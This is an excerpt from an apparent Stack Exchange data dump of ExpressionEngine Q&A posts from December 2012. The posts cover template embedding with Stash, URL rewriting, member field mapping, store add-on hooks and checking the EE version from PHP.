  <row Id="1667" PostTypeId="1" AcceptedAnswerId="1746" CreationDate="2012-12-15T17:31:56.090" Score="3" ViewCount="271" Body="&lt;p&gt;Something has happened to the Live Look links in the entries within my control panel. After submitting a new article, the Live Link (link to a preview of my article) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mysite.com/?URL=https%3A%2F%2Fmysite.com%2Ftemplate_group%2Flivelook%2F185&quot; rel=&quot;nofollow&quot;&gt;https://mysite.com/?URL=https%3A%2F%2Fmysite.com%2Ftemplate_group%2Flivelook%2F185&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mysite.com/?URL=https://mysite.com/template_group/livelook/185&quot; rel=&quot;nofollow&quot;&gt;https://mysite.com/?URL=https://mysite.com/template_group/livelook/185&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is new. I'm not sure why it's now happening. I'm on EE 2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to get the normal link back?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Additional info: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is not only happening for me with live sites. If I install a completely new EE 2.5.3 in MAMP with no extensions I still see this problem. &lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2012-12-17T14:40:14.677" LastActivityDate="2012-12-17T15:13:03.173" Title="How do I prevent encoding of URL in Live Look?" Tags="|control-panel|livelook|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1668" PostTypeId="1" AcceptedAnswerId="1677" CreationDate="2012-12-15T18:37:21.077" Score="3" ViewCount="206" Body="&lt;p&gt;Zoo Visitor has an elegant setting that makes {screen_name} very nice:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Set screen_name as a combination of the following fields&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The default setting is {member_firstname} {member_lastname}. Perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in Exp-resso Store, the 'billing_name' field is one field, so i'd like to automatically combine both fields to another field {member_name} which i can map to the {billing_name} field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I combine to custom fields into one other field without the user ever noticing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm not too fond on using a hidden field and some javascript in my registration process.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-09-01T03:14:41.493" Title="Combining the zoo visitor {member_firstname} {member_lastname} field automagically into one field {member_name}" Tags="|expresso-store|custom-fields|zoo-visitor|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1669" PostTypeId="2" ParentId="1662" CreationDate="2012-12-15T18:44:20.553" Score="4" Body="&lt;p&gt;Since products are stored as channel entries, it's really easy to create bundles of product using &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;, or even standard EE relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember you can have multiple product channels. For example, with Tracks and Albums, you could create a channel for &lt;code&gt;Tracks&lt;/code&gt; (which has a Store product fieldtype associated with it for individual track sales), and another channel for &lt;code&gt;Albums&lt;/code&gt; (which also has a product fieldtype, and is related to the individual tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you could also create a product channels for &lt;code&gt;Tickets&lt;/code&gt;, &lt;code&gt;Merchandise&lt;/code&gt;, and if you want to create some bundles containing everything, one more called &lt;code&gt;Bundles&lt;/code&gt; or something similar, which can be related to any other product channel. How you display this on the front end is entirely up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside to this is that it is not possible to keep track of stock levels for bundled products. If you are selling digital products this isn't an issue, and for physical products it really depends on your client's requirements.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-15T18:44:20.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1670" PostTypeId="2" ParentId="1668" CreationDate="2012-12-15T18:46:34.807" Score="6" Body="&lt;p&gt;The only other way to do with without JavaScript would be to use an extension. Basically, hook into the POST data and programmatically update the entry/field with first and last name values. Now what hook you use and the logic required is outside the scope of this answer. But logically speaking, use an extension to update that field programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were me, I would go the JS route first. If you find that is problematic, I would then write to the extension - simply for the time factor. Seems like a lot of work to write an extension when JS might work fine.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-15T18:46:34.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1671" PostTypeId="2" ParentId="1518" CreationDate="2012-12-15T19:07:04.967" Score="2" Body="&lt;p&gt;You would need to do this using an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could use the &lt;a href=&quot;https://exp-resso.com/docs/store/developers/extension_hooks.html#store-process-product-tax&quot; rel=&quot;nofollow&quot;&gt;store_process_product_tax&lt;/a&gt; hook to check the member variables, and change the tax rate being applied to all products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, you could use that hook or other cart hooks to override the tax_exempt status on a per-item basis once items are in the cart.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-15T19:07:04.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1672" PostTypeId="1" AcceptedAnswerId="1673" CreationDate="2012-12-15T21:04:34.013" Score="1" ViewCount="2957" Body="&lt;p&gt;I'd like to take any URL where &lt;code&gt;segment_1 == &quot;supernav&quot;&lt;/code&gt; and remove that segment. So this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://alpha.ced.berkeley.edu/supernav/gallery/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would become this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://alpha.ced.berkeley.edu/gallery/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="55" LastEditDate="2012-12-15T21:09:50.683" LastActivityDate="2012-12-16T05:59:25.013" Title="Remove segment from URL" Tags="|segments|url|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1673" PostTypeId="2" ParentId="1672" CreationDate="2012-12-15T21:12:31.620" Score="4" Body="&lt;p&gt;I'd create a template group called &lt;strong&gt;supernav&lt;/strong&gt;, and put this in its &lt;strong&gt;index&lt;/strong&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{redirect=&quot;{segment_2}/{segment_3}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If there's no 3rd segment present, EE will ignore it.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="28" LastEditDate="2012-12-16T05:26:10.337" LastActivityDate="2012-12-16T05:26:10.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1675" PostTypeId="1" AcceptedAnswerId="1749" CreationDate="2012-12-15T22:23:20.357" Score="10" ViewCount="3920" Body="&lt;p&gt;I'd like to know if/how Stash embeds could be used in a particular way. I'm trying &#xA;to keep things DRY.&lt;br&gt;&#xA;Generally my templates look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_wrapper.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;header&amp;gt;...&amp;lt;/header&amp;gt;&#xA;    {exp:stash:get name=&quot;content&quot;}&#xA;    &amp;lt;footer&amp;gt;...&amp;lt;/footer&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;template.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- My 'view' --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;    &amp;lt;h1&amp;gt;{exp:stash:get name=&quot;title&quot;}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;{exp:stash:get name=&quot;description&quot;}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Content that would be repeated across templates.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&#xA;{!-- My 'model' --}&#xA;{exp:channel:entries ...}&#xA;    {exp:stash:set}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:description}{description}{/stash:description}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;div class=&quot;sidebar&quot;&amp;gt;&lt;/code&gt; might have something like a list of categories.&lt;br&gt;&#xA;What I thought I could do was put that div in a Stash embed and then continue writing&#xA;in the view/model format. It's not turning out that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In template.html I would replace the &lt;code&gt;&amp;lt;div class=&quot;sidebar&quot;&amp;gt;&lt;/code&gt; with &lt;code&gt;{stash:embed:sidebar}&lt;/code&gt;.&#xA;Then sidebar.html would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Another 'view' --}&#xA;&amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Categories&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:get_list name=&quot;categories&quot;}&#xA;        ...&#xA;    {/exp:stash:get_list}&#xA;    &amp;lt;h2&amp;gt;Something Else&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:get name=&quot;something_else&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{!-- Another 'model' --}&#xA;{exp:channel:categories ...}&#xA;    {exp:stash:append_list name=&quot;categories&quot;}&#xA;        ...&#xA;    {/exp:stash:append_list}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment, &lt;code&gt;{stash:embed:sidebar}&lt;/code&gt; does get embedded, but without the stuff inside &#xA;&lt;code&gt;{exp:stash:get_list}&lt;/code&gt; and &lt;code&gt;{exp:stash:get}&lt;/code&gt;.&lt;br&gt;&#xA;If this &lt;strong&gt;can&lt;/strong&gt; be done, I'm sure a parse order issue. Perhaps a parameter on the embed&#xA;tag would help. Although I don't know what.&lt;br&gt;&#xA;If it can't be done, any suggestions for alternatives would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="780" LastEditDate="2016-07-21T20:09:01.260" LastActivityDate="2016-07-21T20:09:01.260" Title="Stash Embeds - Trying to be DRY" Tags="|stash|parse-order|embeds|dry|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1676" PostTypeId="1" CreationDate="2012-12-15T22:26:06.450" Score="2" ViewCount="142" Body="&lt;p&gt;I'm looking into DevDemon's &lt;a href=&quot;http://www.devdemon.com/channel_polls/&quot; rel=&quot;nofollow&quot;&gt;Channel Polls&lt;/a&gt; and EE Harbor's &lt;a href=&quot;http://eeharbor.com/polls&quot; rel=&quot;nofollow&quot;&gt;Polls&lt;/a&gt; module... What my client really wants is the option to have WYSIWYG HTML content for each poll OPTION (i.e. not just the poll question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get close by creating a Matrix/Wygwam field to list the content for each option, and then put the voting/selection form after that. But, what my client really wants is for the voting controls to be in-line with the HTML content for each option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a clever way to get the voting controls inline with content defined in another custom field?&lt;/li&gt;&#xA;&lt;li&gt;Or, if not, do these polls modules allow for HTML content to be entered in the plain-text options fields?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="262" LastActivityDate="2012-12-16T17:17:07.753" Title="How can I add WYSIWYG/HTML content to Poll options?" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1677" PostTypeId="2" ParentId="1668" CreationDate="2012-12-15T23:22:01.370" Score="3" Body="&lt;p&gt;This is how I worked around my problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created the field {member_name}.  &lt;/li&gt;&#xA;&lt;li&gt;I set the field type to Select Dropdown with only one option: {screen_name}. &lt;/li&gt;&#xA;&lt;li&gt;I mapped the {member_name} field (with contents: {screen_name}) to&#xA;{billing_name}.&lt;/li&gt;&#xA;&lt;li&gt;Zoo Visitor automatically changes the contents of&#xA;{screen_name} to {member_firstname} {member_lastname}.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this will &lt;em&gt;always&lt;/em&gt; work, but I'm pretty sure it's a nice solution.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2012-12-15T23:22:01.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1678" PostTypeId="2" ParentId="1592" CreationDate="2012-12-15T23:32:18.667" Score="1" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://twitterfeed.com/&quot; rel=&quot;nofollow&quot;&gt;http://twitterfeed.com/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy setup, stable service. Free.&#xA;Twitterfeed uses an RSS feed to post to FaceBook, Twitter and LinkedIn.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2012-12-15T23:32:18.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1679" PostTypeId="2" ParentId="1675" CreationDate="2012-12-15T23:49:32.947" Score="13" Body="&lt;p&gt;Here is the basic concept. I personally don't use the list tags to set a ton of individual variables. I find that it's too much and too tedious, and can perform an excess amount of queries if you have a lot of variables. I guess though it really goes down to how you prefer to organize your templates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&#xA;    {stash:embed:your_context:your_template process=&quot;start&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above example would be embed into the channel entries BEFORE the entries loop is parsed. This for when you are constantly reusing the same markup in the loop, but the channel entries tag is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then if want to embed a template after something has parsed, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:sidebar process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's really just manipulating the parsing order to get your tags to fire in the order you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the homepage code from my site, objectivehtml.com. This is index.html of the default template group. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set}&#xA;&#xA;    {stash:page_title}Objective HTML - Top Notch ExpressionEngine Add-ons{/stash:page_title}&#xA;    {stash:page_class}home{/stash:page_class}&#xA;    {stash:section_title}Featured Product{/stash:section_title}&#xA;&#xA;    {stash:page_sidebar}{stash:embed:objects:main_sidebar}{/stash:page_sidebar}&#xA;&#xA;    {stash:page_content}&#xA;&#xA;        {exp:channel:entries&#xA;            channel=&quot;articles&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            disable=&quot;member_data|categories|category_fields|pagination&quot;&#xA;            limit=&quot;1&quot;&#xA;            status=&quot;featured&quot;&#xA;        }&#xA;&#xA;            {stash:embed:objects:article process=&quot;start&quot;}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/stash:page_content}&#xA;&#xA;{/exp:stash:set}&#xA;&#xA;{stash:embed:structure:header}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is article.html, which is what I call a template object. I can insert an article on any page, just by including the article &quot;object&quot;. And since I parse it first, it's included before any of the other tags have had a chance to parse.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;article&quot;&amp;gt;&#xA;&#xA;    {if segment_3 != url_title}&#xA;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/articles/read/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;    {if:else}&#xA;&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {/if}&#xA;&#xA;    {if !segment_3 &amp;amp;&amp;amp; segment_2}&#xA;&#xA;        {if article_excerpt}&#xA;            &amp;lt;p&amp;gt;{article_excerpt}&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/articles/read/{url_title}&quot; class=&quot;button small&quot;&amp;gt;Learn More &amp;lt;span class=    &quot;icon-arrow-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        {if:else}&#xA;            {article_content}&#xA;        {/if}&#xA;&#xA;    {if:else}&#xA;        {article_content}&#xA;    {/if}&#xA;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-16T13:30:44.410" LastActivityDate="2012-12-16T13:30:44.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1680" PostTypeId="2" ParentId="1672" CreationDate="2012-12-16T00:34:33.387" Score="1" Body="&lt;p&gt;If you're not actually talking about doing a redirect (it's not quite clear from your question for me) then you may want to consider using Freebie for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freebie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the freebie extension settings you can set supernav to be ignored so, any time you hit &lt;code&gt;http://alpha.ced.berkeley.edu/gallery/&lt;/code&gt; you are really hitting &lt;code&gt;http://alpha.ced.berkeley.edu/supernav/gallery/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course you would make sure in your hrefs that you removed &lt;code&gt;supernav/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-16T00:34:33.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1681" PostTypeId="1" AcceptedAnswerId="1683" CreationDate="2012-12-16T00:36:29.813" Score="4" ViewCount="1056" Body="&lt;p&gt;I'm writing an add-on and need to check the current EE version from PHP. What is the best way to get the current ExpressionEngine version?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-16T01:11:36.063" Title="How to check the EE version number via PHP?" Tags="|ee2|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1682" PostTypeId="2" ParentId="1681" CreationDate="2012-12-16T00:36:29.813" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('app_version')&lt;/code&gt; which returns a string like &lt;code&gt;253&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether this is the most reliable way to determine the version number though, or whether it's possible to get the version number including decimals.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-16T00:36:29.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1683" PostTypeId="2" ParentId="1681" CreationDate="2012-12-16T00:55:04.990" Score="4" Body="&lt;p&gt;One option would be to use the &lt;code&gt;APP_VER&lt;/code&gt; constant. You can see it here with a few other version constants as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/constants.html#version-constants&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/constants.html#version-constants&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you the version number with decimals unlike Adrian's solution so, pick which route you'd like. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (APP_VER == '2.5.3')&#xA;{&#xA;   do something;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-12-16T01:11:36.063" LastActivityDate="2012-12-16T01:11:36.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1684" PostTypeId="2" ParentId="1611" CreationDate="2012-12-16T02:01:52.607" Score="1" Body="&lt;p&gt;I find that creating front-end edit links (visible to logged-in site editors only) prevents site editors from adding a duplicate entry.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-12-16T02:01:52.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1685" PostTypeId="2" ParentId="1661" CreationDate="2012-12-16T04:48:21.313" Score="1" Body="&lt;p&gt;My suggestion with SafeCracker is to not rely on the {exp:safecracker} tag to output your final form. Instead use it to get your initial HTML output, paste that into your template and customize as needed. This way you can change the hidden fields to have the  as you want and will have 100% control over your form fields and HTML layout. This option offers the most flexibility in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to use this Global Variable to print out the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#xid-hash&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;XID hash&lt;/strong&gt;&lt;/a&gt; in your template. This will be one of the fields in the hidden group.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-16T06:04:52.917" LastActivityDate="2012-12-16T06:04:52.917" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1686" PostTypeId="2" ParentId="1676" CreationDate="2012-12-16T05:24:34.393" Score="1" Body="&lt;p&gt;If the option fields are textareas, you should be able to easily add &lt;strong&gt;&lt;a href=&quot;http://imperavi.com/redactor/&quot; rel=&quot;nofollow&quot;&gt;Redactor&lt;/a&gt;&lt;/strong&gt; to the fields you want to change to WYSIWYG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are installation instructions from the &lt;strong&gt;&lt;a href=&quot;http://imperavi.com/redactor/docs/&quot; rel=&quot;nofollow&quot;&gt;Redactor docs&lt;/a&gt;&lt;/strong&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CP CSS &amp;amp; JS extension&lt;/strong&gt;&lt;/a&gt; to add the JS/CSS to the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to inspect the html of the edit form to determine the selectors for the fields you want to convert. Add those into your JS and you should be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are already using &lt;strong&gt;&lt;a href=&quot;http://www.devdemon.com/editor/&quot; rel=&quot;nofollow&quot;&gt;DevDemon's Editor&lt;/a&gt;&lt;/strong&gt; addon, you can reuse his js/css file includes instead of adding these new ones to the header.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To install Redactor, place the following code between the&#xA;   tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/js/redactor/redactor.css&quot; /&amp;gt;&#xA;&amp;lt;script src=&quot;/js/redactor/redactor.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;If your Redactor download is placed in a different folder, don't&#xA;  forget to change file's paths.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can call Redactor using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  $(document).ready(function(){&#xA;          $(&quot;#redactor_content&quot;).redactor();&#xA;      }&#xA;  );&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;This code may also be placed between the  tags or at any&#xA;  other place on the page.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Finally, you need to place a  element with ID&#xA;  &quot;redactor_content&quot; (or with the ID that you set during Redactor's&#xA;  call). This element will be replaced by the visual representation of&#xA;  the Redactor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea id=&quot;redactor_content&quot; name=&quot;content&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-16T17:17:07.753" LastActivityDate="2012-12-16T17:17:07.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1687" PostTypeId="2" ParentId="1672" CreationDate="2012-12-16T05:46:48.510" Score="1" Body="&lt;p&gt;Here are a couple mod_rewrite options to try in your .htaccess file to remove the &quot;supernav&quot; segment of your URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^supernav/gallery/$ /gallery [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^(.*)$ supernav/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Worth taking a look at... &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cheatography.com/davechild/cheat-sheets/mod-rewrite/&quot; rel=&quot;nofollow&quot;&gt;mod_rewrite Cheat Sheet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org/docs/current/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;Docs for Apache Module mod_rewrite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-16T05:59:25.013" LastActivityDate="2012-12-16T05:59:25.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1688" PostTypeId="1" AcceptedAnswerId="1691" CreationDate="2012-12-16T09:03:46.443" Score="1" ViewCount="68" Body="&lt;p&gt;I have a SafeCracker form. In order to maximize code reused, I have broken the form into embeddable fieldsets, with each fieldset containing embedded fields. (Basically, I can just embed fields as I need them throughout the various forms I need.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I display the form, however, I don't think it has access to the Channel data. For example, here's my template for my &lt;code&gt;gender&lt;/code&gt; field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {options:gender}&#xA;            &amp;lt;label class=&quot;radio&quot; for=&quot;{option_value}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;radio&quot; name=&quot;gender&quot; value=&quot;{option_value}&quot; id=&quot;{option_value}&quot;&amp;gt;&#xA;                {option_value}&#xA;            &amp;lt;/label&amp;gt;&#xA;        {/options:gender}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is exactly the above. The &lt;code&gt;{options*}&lt;/code&gt; stuff did not get parsed. Is embedding not allowed?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-16T09:08:55.950" LastActivityDate="2012-12-16T10:27:43.687" Title="SafeCracker and embedding templates - channel data lost?" Tags="|templates|safecracker|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
